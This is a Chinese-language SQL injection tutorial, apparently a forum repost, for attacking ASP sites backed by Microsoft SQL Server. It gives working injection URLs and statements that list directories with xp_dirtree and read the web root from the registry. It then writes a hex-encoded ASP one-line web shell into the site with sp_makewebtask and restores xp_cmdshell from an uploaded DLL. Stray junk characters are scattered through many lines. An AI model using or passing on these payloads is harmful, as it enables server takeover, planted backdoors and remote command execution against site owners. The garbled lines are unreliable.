MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
9 T2 ^; t5 e7 _8 w( b& }假设我们在test里有两个文件夹test1和test2在test1里又有test3
& }+ g7 K8 ]: X7 [. L  V结果显示
& x0 D/ k( q. h- ^
subdirectory depth
test1 1
5 ~( L. ^1 Q% e; l- E5 N$ R8 o- itest3 2
test2 1

; k# z% r1 ]9 \! v) Z哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧

- B) H7 @, U- w8 x5 r9 [http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
2 e/ g; u8 O! O8 zhttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
4 q$ A$ m% k  K7 @3 O2 w3 Rhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
7 O3 {! a- j& h/ M7 a4 u+ ~. a0 u; j
: o8 c& O7 `; `" g0 j只要加上id＝1，就是第一级目录 。


+ U1 H- S4 T) g) P0 B, ~1 O通过注册表读网站路径:
* n( ^5 k: b3 V2 _. W
' Z% T; R3 |# V' C1.;create table [dbo].[cyfd] ([gyfd][char](255));

8 l* u; B) b$ d2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

3.and 1=(select count(*) from 临时表 where 临时字段名>1)
( i4 L* d. D0 `$ R' i- V4 eand 1=(select count(*) from cyfd where gyfd > 1)
- |' \9 Y1 S( g" r这样IE报错,就把刚才插进去的Web路径的值报出来了

4.drop table cyfd;-- 删除临时表
: j1 s& Z  ], B! G8 d* H/ c( m& t
9 H; ~* e2 M9 w3 Z; {" p  P# }获得webshell方法:
3 h- @: C5 B) C0 h1 \2 m0 m1.create table cmd (a image)-- \**cmd是创建的临时表
1 k4 ?. p( [0 V% m" C$ z
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
! x% m$ o5 h3 i2 u7 m

  F4 }+ q8 C& n* s! {3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'

4.drop table cmd;-- 删除cmd临时表

恢复xp_cmdshell方法之一:
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
5 A  f  q( w% i  M2 Bhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）
* g) @% p& I% l4 K